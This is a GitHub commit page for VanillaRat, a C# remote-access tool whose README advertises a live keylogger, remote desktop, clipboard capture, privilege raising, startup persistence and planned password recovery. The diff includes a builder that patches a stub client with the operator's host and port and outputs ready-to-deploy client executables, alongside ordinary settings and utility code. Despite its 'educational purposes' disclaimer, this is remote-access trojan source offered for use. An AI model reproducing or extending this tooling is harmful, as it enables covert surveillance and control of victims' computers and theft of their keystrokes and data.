Skip to content
This repository has been archived by the owner on May 2, 2021. It is now read-only.

Commit

Permalink
Update v1.3
Browse files Browse the repository at this point in the history
New GUI, re-worked hardware usage moniter, re-worked remote desktop, added current window viewer, added audio recorder (not complete, will be done in next update), added operating system to computer information viewer, and added anti-virus and OS to client list view.
  • Loading branch information
dhuinda committed Apr 6, 2019
1 parent 8ba99c8 commit a1c7c6a
Show file tree
Hide file tree
Showing 82 changed files with 40,909 additions and 846 deletions.
Binary file modified .vs/VanillaRat/v15/.suo
Binary file not shown.
Binary file modified .vs/VanillaRat/v15/Server/sqlite3/storage.ide
Binary file not shown.
Binary file modified .vs/VanillaRat/v15/Server/sqlite3/storage.ide-shm
Binary file not shown.
Binary file modified .vs/VanillaRat/v15/Server/sqlite3/storage.ide-wal
Binary file not shown.
19 changes: 12 additions & 7 deletions README.md
Original file line number Diff line number Diff line change
Expand Up @@ -3,25 +3,25 @@
VanillaRat is an advanced remote administration tool coded in C#. VanillaRat uses the Telepathy TCP networking library, dnlib module reading and writing library, and Costura.Fody dll embedding library.

### Features:
- Remote Desktop Viewer (Very buggy and low performance at the moment)
- Remote Desktop Viewer
- File Browser (Including downloading, drag and drop uploading, and file opening)
- Process Manager
- Computer Information
- Hardware Usage Information (CPU usage, disk usage, available ram)
- Message Box Sender
- Live Keylogger
- Live Keylogger (Also shows current window)
- Website Opener
- Application Permission Raiser (Normal -> Admin)
- Clipboard Text (Copied text)
- Startup

### TODO:
- Code cleanup and commenting (50% complete, still need to comment)
- Add a keylogger (Complete)
- Add chat
- Add audio recorder
- Add password recovery
- Add a remote shell
- Add options for installation (Complete, still need to add folder selection)
- Redesign networking system
- Bug Fixing

### How To Install:
**Release:**
Expand Down Expand Up @@ -56,7 +56,12 @@ Once a client is connected you can select the client and right click on the clie
- Clipboard Text: Note you do not have to close the dialog if you want to get another copy of the currently copied text on the client. Just hit Get Clipboard Text again and the dialog will automatically update.

### Screenshot:
![Capture](https://user-images.githubusercontent.com/39781618/54472005-b7bca600-478f-11e9-8a0a-45006870ee18.PNG)
![Screenshot](Screenshot.png)

## A Special Thanks To:

**NinjahZ**

## Important Disclaimer:

**I am in no way responsible for any malicious actions that you may make using this software. Please take note that this application was designed for educational purposes and should never be used maliciously.**
**I am in no way responsible for any malicious actions that you may make using this software. Please take note that this application was designed for educational purposes and should never be used maliciously.**
Binary file added Screenshot.png
Loading
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
1 change: 1 addition & 0 deletions VanillaRat.sln.DotSettings.user
Original file line number Diff line number Diff line change
@@ -1,4 +1,5 @@
<wpf:ResourceDictionary xml:space="preserve" xmlns:x="http://schemas.microsoft.com/winfx/2006/xaml" xmlns:s="clr-namespace:System;assembly=mscorlib" xmlns:ss="urn:shemas-jetbrains-com:settings-storage-xaml" xmlns:wpf="http://schemas.microsoft.com/winfx/2006/xaml/presentation">
<s:String x:Key="/Default/CodeInspection/Highlighting/AnalysisEnabled/@EntryValue">SOLUTION</s:String>

<s:String x:Key="/Default/CodeStyle/Naming/CSharpNaming/AutoDetectedNamingRules/=TypesAndNamespaces/@EntryIndexedValue">&lt;Policy Inspect="True" Prefix="" Suffix="" Style="AaBb" /&gt;</s:String>
<s:String x:Key="/Default/CodeStyle/Naming/CSharpNaming/AutoDetectedNamingRules/=PublicFields/@EntryIndexedValue">&lt;Policy Inspect="True" Prefix="" Suffix="" Style="AA_BB"&gt;&lt;ExtraRule Prefix="" Suffix="" Style="AaBb" /&gt;&lt;/Policy&gt;</s:String>
Expand Down
21 changes: 20 additions & 1 deletion VanillaRat/App.config
Original file line number Diff line number Diff line change
@@ -1,6 +1,25 @@
<?xml version="1.0" encoding="utf-8" ?>
<?xml version="1.0" encoding="utf-8"?>

<configuration>
<configSections>
<sectionGroup name="userSettings"
type="System.Configuration.UserSettingsGroup, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089">
<section name="VanillaRat.Properties.Settings"
type="System.Configuration.ClientSettingsSection, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089"
allowExeDefinition="MachineToLocalUser" requirePermission="false" />
</sectionGroup>
</configSections>
<startup>
<supportedRuntime version="v4.0" sku=".NETFramework,Version=v4.6.1" />
</startup>
<userSettings>
<VanillaRat.Properties.Settings>
<setting name="Port" serializeAs="String">
<value>1604</value>
</setting>
<setting name="UpdateInterval" serializeAs="String">
<value>50</value>
</setting>
</VanillaRat.Properties.Settings>
</userSettings>
</configuration>
30 changes: 18 additions & 12 deletions VanillaRat/Classes/AutoClosingMsgBox.cs
Original file line number Diff line number Diff line change
@@ -1,27 +1,35 @@
using System;
using System.Runtime.InteropServices;
using System.Threading;
using System.Windows.Forms;
using Timer = System.Threading.Timer;

namespace VanillaRat.Classes
{
//BY DMITRYG - STACKOVERFLOW
public class AutoClosingMessageBox
{
private System.Threading.Timer _timeoutTimer;
private string _caption;
private const int WM_CLOSE = 0x0010;
private readonly string _caption;
private readonly Timer _timeoutTimer;
private readonly DialogResult _timerResult;
private DialogResult _result;
private DialogResult _timerResult;

private AutoClosingMessageBox(string text, string caption, int timeout, MessageBoxButtons buttons = MessageBoxButtons.OK, DialogResult timerResult = DialogResult.None)
private AutoClosingMessageBox(string text, string caption, int timeout,
MessageBoxButtons buttons = MessageBoxButtons.OK, DialogResult timerResult = DialogResult.None)
{
_caption = caption;
_timeoutTimer = new System.Threading.Timer(OnTimerElapsed,
null, timeout, System.Threading.Timeout.Infinite);
_timeoutTimer = new Timer(OnTimerElapsed,
null, timeout, Timeout.Infinite);
_timerResult = timerResult;
using (_timeoutTimer)
{
_result = MessageBox.Show(text, caption, buttons);
}
}

public static DialogResult Show(string text, string caption, int timeout, MessageBoxButtons buttons = MessageBoxButtons.OK, DialogResult timerResult = DialogResult.None)
public static DialogResult Show(string text, string caption, int timeout,
MessageBoxButtons buttons = MessageBoxButtons.OK, DialogResult timerResult = DialogResult.None)
{
return new AutoClosingMessageBox(text, caption, timeout, buttons, timerResult)._result;
}
Expand All @@ -35,12 +43,10 @@ private void OnTimerElapsed(object state)
_result = _timerResult;
}

private const int WM_CLOSE = 0x0010;

[System.Runtime.InteropServices.DllImport("user32.dll", SetLastError = true)]
[DllImport("user32.dll", SetLastError = true)]
private static extern IntPtr FindWindow(string lpClassName, string lpWindowName);

[System.Runtime.InteropServices.DllImport("user32.dll", CharSet = System.Runtime.InteropServices.CharSet.Auto)]
private static extern IntPtr SendMessage(IntPtr hWnd, UInt32 Msg, IntPtr wParam, IntPtr lParam);
[DllImport("user32.dll", CharSet = CharSet.Auto)]
private static extern IntPtr SendMessage(IntPtr hWnd, uint Msg, IntPtr wParam, IntPtr lParam);
}
}
34 changes: 17 additions & 17 deletions VanillaRat/Classes/Builder.cs
Original file line number Diff line number Diff line change
@@ -1,21 +1,22 @@
using dnlib.DotNet;
using System;
using System;
using System.IO;
using System.Linq;
using dnlib.DotNet;
using VanillaRatStub;

namespace VanillaRat.Classes
{
internal class Builder
{
public void BuildClient(string Port, string DNS, string Name, string ClientTag, string UpdateInterval, string Install, string Startup, string Admin)
public void BuildClient(string Port, string DNS, string Name, string ClientTag, string UpdateInterval,
string Install, string Startup)
{
VanillaRatStub.ClientSettings.DNS = DNS;
VanillaRatStub.ClientSettings.Port = Port;
VanillaRatStub.ClientSettings.ClientTag = ClientTag;
VanillaRatStub.ClientSettings.UpdateInterval = UpdateInterval;
VanillaRatStub.ClientSettings.Install = Install == "True" ? "True" : "False";
VanillaRatStub.ClientSettings.Startup = Startup == "True" ? "True" : "False";
VanillaRatStub.ClientSettings.Admin = Admin == "True" ? "True" : "False";
ClientSettings.DNS = DNS;
ClientSettings.Port = Port;
ClientSettings.ClientTag = ClientTag;
ClientSettings.UpdateInterval = UpdateInterval;
ClientSettings.Install = Install == "True" ? "True" : "False";
ClientSettings.Startup = Startup == "True" ? "True" : "False";
string FullName = "VanillaRatStub.ClientSettings";
var Assembly = AssemblyDef.Load("VanillaRatStub.exe");
var Module = Assembly.ManifestModule;
Expand All @@ -27,13 +28,12 @@ public void BuildClient(string Port, string DNS, string Name, string ClientTag,
var Constructor = Settings.FindMethod(".cctor");
if (Constructor != null)
{
Constructor.Body.Instructions[0].Operand = VanillaRatStub.ClientSettings.DNS;
Constructor.Body.Instructions[2].Operand = VanillaRatStub.ClientSettings.Port;
Constructor.Body.Instructions[4].Operand = VanillaRatStub.ClientSettings.ClientTag;
Constructor.Body.Instructions[6].Operand = VanillaRatStub.ClientSettings.UpdateInterval;
Constructor.Body.Instructions[8].Operand = VanillaRatStub.ClientSettings.Install;
Constructor.Body.Instructions[12].Operand = VanillaRatStub.ClientSettings.Startup;
Constructor.Body.Instructions[14].Operand = VanillaRatStub.ClientSettings.Admin;
Constructor.Body.Instructions[0].Operand = ClientSettings.DNS;
Constructor.Body.Instructions[2].Operand = ClientSettings.Port;
Constructor.Body.Instructions[4].Operand = ClientSettings.ClientTag;
Constructor.Body.Instructions[6].Operand = ClientSettings.UpdateInterval;
Constructor.Body.Instructions[8].Operand = ClientSettings.Install;
Constructor.Body.Instructions[12].Operand = ClientSettings.Startup;
if (!Directory.Exists(Environment.CurrentDirectory + @"\Clients"))
Directory.CreateDirectory(Environment.CurrentDirectory + @"\Clients");
Assembly.Write(Environment.CurrentDirectory + @"\Clients\" + Name + ".exe");
Expand Down
7 changes: 5 additions & 2 deletions VanillaRat/Classes/Functions.cs
Original file line number Diff line number Diff line change
Expand Up @@ -7,9 +7,12 @@ public static string GetSubstringByString(string a, string b, string c)
{
try
{
return c.Substring((c.IndexOf(a) + a.Length), (c.IndexOf(b) - c.IndexOf(a) - a.Length));
return c.Substring(c.IndexOf(a) + a.Length, c.IndexOf(b) - c.IndexOf(a) - a.Length);
}
catch { }
catch
{
}

return "";
}

Expand Down
6 changes: 4 additions & 2 deletions VanillaRat/Classes/Server.cs
Original file line number Diff line number Diff line change
@@ -1,8 +1,10 @@
namespace VanillaRat.Classes
using VanillaRat.Forms;

namespace VanillaRat.Classes
{
internal class Server
{
public static Telepathy.Server MainServer = new Telepathy.Server();
public static Forms.DownloadingFileForm DFF;
public static DownloadingFileForm DFF;
}
}
37 changes: 5 additions & 32 deletions VanillaRat/Classes/Settings.cs
Original file line number Diff line number Diff line change
@@ -1,46 +1,19 @@
using System;
using System.IO;

namespace VanillaRat.Classes
namespace VanillaRat.Classes
{
internal class Settings
{
public struct Values
{
//Get port from user settings
public int GetPort()
{
string Settings;
if (!File.Exists("Settings.txt"))
{
return 1604;
}
else
{
using (StreamReader SR = new StreamReader("Settings.txt"))
{
Settings = SR.ReadToEnd();
SR.Close();
}
return Convert.ToInt16(Functions.GetSubstringByString("(", ")", Settings));
}
return Properties.Settings.Default.Port;
}

//Get update interval from settings
public int GetUpdateInterval()
{
string Settings;
if (!File.Exists("Settings.txt"))
{
return 1;
}
else
{
using (StreamReader SR = new StreamReader("Settings.txt"))
{
Settings = SR.ReadToEnd();
SR.Close();
}
return Convert.ToInt16(Functions.GetSubstringByString("<", ">", Settings));
}
return Properties.Settings.Default.UpdateInterval;
}
}
}
Expand Down
1 change: 0 additions & 1 deletion VanillaRat/ClientSettings.cs
Original file line number Diff line number Diff line change
Expand Up @@ -8,6 +8,5 @@ public static class ClientSettings
public static string UpdateInterval = "";
public static string Install = "";
public static string Startup = "";
public static string Admin = "";
}
}
74 changes: 74 additions & 0 deletions VanillaRat/Forms/AudioRecorder.Designer.cs

Some generated files are not rendered by default. Learn more about how customized files appear on GitHub.

Loading

0 comments on commit a1c7c6a

Please sign in to comment.